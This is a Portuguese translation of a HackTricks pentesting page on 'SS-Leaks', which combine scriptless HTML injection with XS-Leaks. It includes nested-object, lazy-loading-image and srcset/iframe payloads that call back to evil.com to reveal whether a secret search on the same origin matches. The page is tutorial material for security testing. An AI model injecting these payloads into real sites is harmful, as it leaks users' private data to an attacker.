hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

6.9 KiB

Vazamentos de SS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este é um mix entre marcação pendente e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem daquela que estaremos atacando. Por outro lado, não atacaremos diretamente a página onde podemos injetar HTML, mas outra página.

Objetos Aninhados

Se o endpoint /api/v1/leaky?secret=a retornar um código de status 404, então o object interno é carregado, dando um retorno de chamada para https://evil.com?callback=a e nos informando que a consulta de pesquisa a não produziu resultados.

<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>

Carregamento Preguiçoso

E se o CSP bloquear objetos externos? Vamos tentar novamente com o seguinte CSP:

Content-Security-Policy: default-src 'self'; img-src *;

Nosso callback object de cima não funciona mais. Em seu lugar, podemos usar o carregamento preguiçoso de imagens! A seguinte imagem só será carregada quando estiver visível e dentro de uma certa distância da viewport.

<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>

Imagens Responsivas

A técnica acima é ótima, mas depende da nossa injeção de HTML estar dentro da área visível do usuário.

Se a injeção estiver fora da tela e o usuário não rolar, ainda podemos vazar dados? Claro, podemos usar IDs de elementos e scroll-to-text-fragment para criar uma URL que force uma rolagem, mas isso depende da interação do usuário e não nos permite obter vazamentos consistentes em um cenário do mundo real. Idealmente, queremos utilizar a injeção de HTML armazenada de forma confiável.

Aqui entram as imagens responsivas! Especificamente, os atributos srcset e sizes das imagens.

{% code overflow="wrap" %}

<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>

{% endcode %}

Há várias coisas para entender aqui. Primeiro, lembre-se de que o iframe interno só será visível se o ponto de extremidade vazado retornar um código de status 404.

Isso é importante porque agora vamos carregar condicionalmente a imagem dentro do iframe a partir de dois URLs diferentes. Usando o atributo sizes, podemos usar media queries para escolher qual URL carregar a imagem, dependendo do tamanho da viewport.

{% code overflow="wrap" %}

<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}

Porque nosso iframe tem width="1000px", o seguinte acontece:

  1. Se o endpoint vazado retornar um código de status 404, o iframe é exibido e tem uma largura de 1000px. A imagem dentro do iframe corresponde à media query (min-width: 1000px) e carrega a imagem de 800px de https://evil.com?callback=0.
  2. Se o endpoint vazado retornar um código de status 200, o iframe não é exibido. Como a imagem não está sendo renderizada como parte de um iframe grande, ela corresponde à media query (max-width 999px) e carrega a imagem de 480px de https://evil.com?callback=1.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥